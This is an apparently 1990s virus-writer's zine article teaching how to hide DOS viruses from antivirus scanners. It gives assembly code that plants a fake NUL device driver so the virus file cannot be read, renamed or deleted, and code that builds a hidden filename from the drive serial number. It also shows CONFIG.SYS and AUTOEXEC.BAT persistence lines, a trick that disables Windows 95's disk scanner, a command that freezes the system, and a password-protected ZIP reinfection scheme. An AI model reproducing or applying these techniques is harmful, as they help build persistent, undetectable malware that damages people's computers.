Playing "Hide and Seek"
"Q" the Misanthrope

     It is a game of  one-up-man-ship  between  the VX and  the AV community. VX
     seems to  be winning  this  battle but is also forcing new improvements. VX
     creates virus. AV  creates scan  strings. VX  creates  mutation. AV creates
     smart detectors. VX creates  stealth. AV counters  that with direct access.
     VX creates  tunneling. AV stops  that. VX creates tracing. AV  stumbles. VX
     creates  retro. AV  stumbles. VX creates Stop  AV from  memory scanning. AV
     stumbles. VX creates macro viruses. AV goes nuts. VX creates new  places to
     hide from AV. AV will probably stumble again.

     Hide in NUL-Space
     -----------------
     Wouldn't it be great to hide in a file that could not be accessed. You can.
     There are little  things called device drivers in your PC. COM1, COM2, LPT1
     and CON are  examples. NUL is also a device  that serves little purpose ex-
     cept  do nothing. An example of  this: COPY *.* NUL will read all the files
     for errors  and copy them into NUL-Space (nowhere). Try to create a file by
     the name of NUL, what could you do with it? An experiment is necessary.

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     c:\>debug
     -a
     mov ah,52
     int 21
     int 3

     -g
     AX=5200  BX=0026  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
     DS=0C9C  ES=00C9  SS=0C9C  CS=0C9C  IP=0104   NV UP EI PL NZ NA PO NC
     0C9C:0104 CC            INT     3
     -
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     ES:BX points to the DOS list of lists. From Ralf Browns interrupt list:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     Format of List of Lists:
     Offset  Size    Description
      00h    DWORD   pointer to first Drive Parameter Block
      04h    DWORD   -> first System File Table
      08h    DWORD   pointer to active CLOCK$ device's header
     [...]
      22h 18 BYTEs   actual NUL device driver header (not a pointer!)
                     NUL is always the first device on DOS's linked list of
                     device drivers
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     ES:BX+22h is what is of interest. Back to debug.

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     -d es:48l12
     00C9:0040                          00 00 A6 C9 04 80 C7 0D           ........
     00C9:0050  CD 0D 4E 55 4C 20 20 20-20 20                     ..NUL
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     See the word NUL at es:bx+2Ch. Lets change it to AUTOEXEC.

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     -e es:52 "AUTOEXEC"
     -q
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     Back to DOS.

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     c:\>type c:\autoexec.bat

     c:\>ren c:\autoexec.bat test.bat
     Path not found

     c:\>del c:\autoexec.bat
     Access denied
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     Notice what  happened  when AUTOEXEC.BAT was  in NUL-Space. It could not be
     read, renamed or  deleted. Wouldn't this be a great  way to protect our vi-
     rus. Ralf Browns list  showed  that the actual NUL device was only 18 bytes
     long. Could  you just make  another 18 byte NUL device by another name? The
     answer is YES! Here is the device format from Ralf Brown:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     Format of DOS device driver header:
     Offset  Size    Description
      00h    DWORD   pointer to next driver, offset=FFFFh if last driver
      04h    WORD    device attributes (see below)
      06h    WORD    device strategy entry point
                     call with ES:BX -> request header
      08h    WORD    device interrupt entry point
      0Ah  8 BYTEs   blank-padded character device name

     Bitfields for device attributes:
     Bit(s)  Description
      15     set (indicates character device)
      14     IOCTL supported
      13     (DOS 3.0+) output until busy supported
      12     reserved
      11     (DOS 3.0+) OPEN/CLOSE/RemMedia calls supported
      10-8   reserved
      7      (DOS 5.0+) Generic IOCTL check call supported
      6      (DOS 3.2+) Generic IOCTL call supported
      5      reserved
      4      device is special (use INT 29 "fast console output")
      3      device is CLOCK$
      2      device is NUL
      1      device is standard output
      0      device is standard input
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     From the debug experiment:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     -d es:48l12
     00C9:0040                          00 00 A6 C9 04 80 C7 0D           ........
     00C9:0050  CD 0D 4E 55 4C 20 20 20-20 20                     ..NUL
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     We see that  the next device  in the chain is at C9A6:0000h, attributes are
     8004h and that the  strategy and interrupt  entry points are 00C9:0DC7h and
     00C9:0DCDh. The strategy and interrupt points for a NUL device just need to
     point to a RETF (they really could point anywhere since they are not used).

     To make our own NUL device we can do something like this:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     [...]
                     mov     ah,52h          ;get list of lists
                     int     21h
                     cld                     ;get address of next device in ds:si
                     lds     si,dword ptr es:[bx+22h]
                     push    cs              ;point to our device
                     pop     es
                     mov     di,offset virus_device
                     movsw                   ;copy device chain to our device
                     movsw                   ;then hook in our device
                     mov     word ptr ds:[si-02h],cs
                     mov     word ptr ds:[si-04h],offset virus_device
     [...]
     virus_device    dd      -1h
                     dw      8004h           ;NUL character attributes
                     dw      return_far      ;strategy pointer
                     dw      return_far      ;interrupt pointer
                     db      "VIRUS   "      ;any file name your want in NUL-Space
     [...]
     return_far:     retf
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     When your  virus starts, have  your virus  create a first  generation virus
     whose host is  the standard CD 20 (terminate immediately) before  it starts
     infecting. Name that  virus C:\FDGDIKGA.PKB (pseudo  random name and exten-
     sion  but should be same for all infections on that PC). This name could be
     derived from the drive C: serial number:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     [...]
                     mov     ax,6900h        ;get drive serial number
                     mov     bx,0003h        ;drive C:
                     push    cs
                     pop     ds
                     mov     dx,offset info  ;point to where serial number will be
                     int     21h
     ;create file name from the drive C: serial number
                     cld
                     mov     si,offset serialnumber
                     mov     di,offset device_name
                     mov     cx,0004h        ;loop 4 times
     get_serial:     lodsb                   ;get start of serial number
                     push    cx
                     mov     cl,04h          ;inner loop 4 times
     make_file:      sub     al,cl
                     ror     al,cl           ;pseudo random letter
                     mov     bl,al
                     and     bl,0fh
                     add     bl,"A"          ;create letter from A to P
                     mov     byte ptr ds:[di],bl
                     inc     di              ;save it and move pointer
                     loop    make_file
                     pop     cx
                     loop    get_serial
                     mov     byte ptr ds:[file_dot],"."      ;restore dot
                     mov     byte ptr ds:[asciz_nul],00h     ;restore nul
                     mov     dx,offset file_name
     ;now create virus by name at DS:DX
     [...]
     info            dw      0
     serialnumber    dd      0               ;drive C: serial number
                     db      19 dup(0)       ;misc junk
     file_name       db      "C:\"
     device_name     db      "VIRUS000"      ;pseudo virus name goes here
     file_dot        db      ".000"          ;with pseudo extension
     asciz_nul       db      00h,00h,00h
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     Hide it  with the  System and  Hidden  attribute, maybe even Read-Only. Now
     create a NUL device by the name of FDGDIKGA (same as pseudo random file na-
     me). Add this line to CONFIG.SYS:

     INSTALL=C:\FDGDIKGA.PKB

     Now start infecting. Go memory  resident (you really only need  to have the
     18 bytes of your NUL device resident). What will  now happen is magic. When
     the  PC reboots there will load a  program that doesn't  have an executable
     extension  so most AV programs won't  even try to  scan it. If they do they
     won't  be able to read it  or delete it  because it is in NUL-Space. The AV
     people will  be able to add the scan string  for your virus  and remove all
     the children created by it but they will not get the virus in NUL-Space. It
     will continue to  infect again and again. Maybe only have it infect on Fri-
     days or on the 13th of each month so it will appear that the virus has gone
     away but later it magically returns.

     Hiding in NUL-Space and Windows 95
     ----------------------------------
     It works just fine with one notable exception; SCANDSKW.EXE that is automa-
     tically launched by the System Agent detects that  there is a device by the
     same name  as a file and  will flag it. The solution is simple. Create ano-
     ther NUL device by  the name of SCANDSKW. This  stops SCANDSKW from working
     but doesn't flag an error.

     Note: when going resident  with the  18 byte NUL device, you  might want to
     put it in the same location as the AUX device. This device is never ever u-
     sed and is just  wasting  space. AUX is another name for COM1. PRN could be
     used but some older programs actually use it. LPT3's 18 bytes also could be
     used. The way to find the AUX device is to search the device chain:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
                     mov     ah,52h                  ;get list of lists
                     int     21h
                     add     bx,22h                  ;point to NUL device
     check_end:      cmp     word ptr es:[bx],-1     ;end of chain?
                     je      end_chain
                     cmp     word ptr es:[bx+0ah],"UA"
                     jne     next_device             ;Look for "AUX "
                     cmp     word ptr es:[bx+0ch]," X"
                     jne     next_device
     [...]
     ;found AUX device at ES:BX change the name at ES:BX+0Ah to whatever you want
     [...]
                     mov     word ptr es:[bx+04h],8004h      ;set NUL device
                     jmp     short end_chain
     next_device:    les     bx,dword ptr es:[bx]    ;get next device in chain
                     jmp     short check_end
     end_chain:
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     To see the power of NUL-Space, try this in Windows 95: md\"NUL           ".
     It locks the computer completely up.

     Hide in Cypher Text
     -------------------
     PkZip has the ability  to password  protect ZIP files. This  can be used to
     our advantage. Have the virus run this:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     PKZIP -SPASSWORD C:\VIRUS.ZIP C:\VIRUS.COM
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     And add this to the AUTOEXEC.BAT:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     @ECHO OFF
     PKUNZIP -O -SPASSWORD C:\VIRUS.ZIP
     C:\VIRUS.COM
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     This  will  allow  multiple reinfections  but the  source will not be found
     with a virus scanner because it will not be able to expand the ZIP file.

     If this is over  your head, save it and come  back to it when you are smar-
     ter. Have fun in NUL-Space.

     Dear AV community,
     You are in check!
     It is now your move.

     "Q" the Misanthrope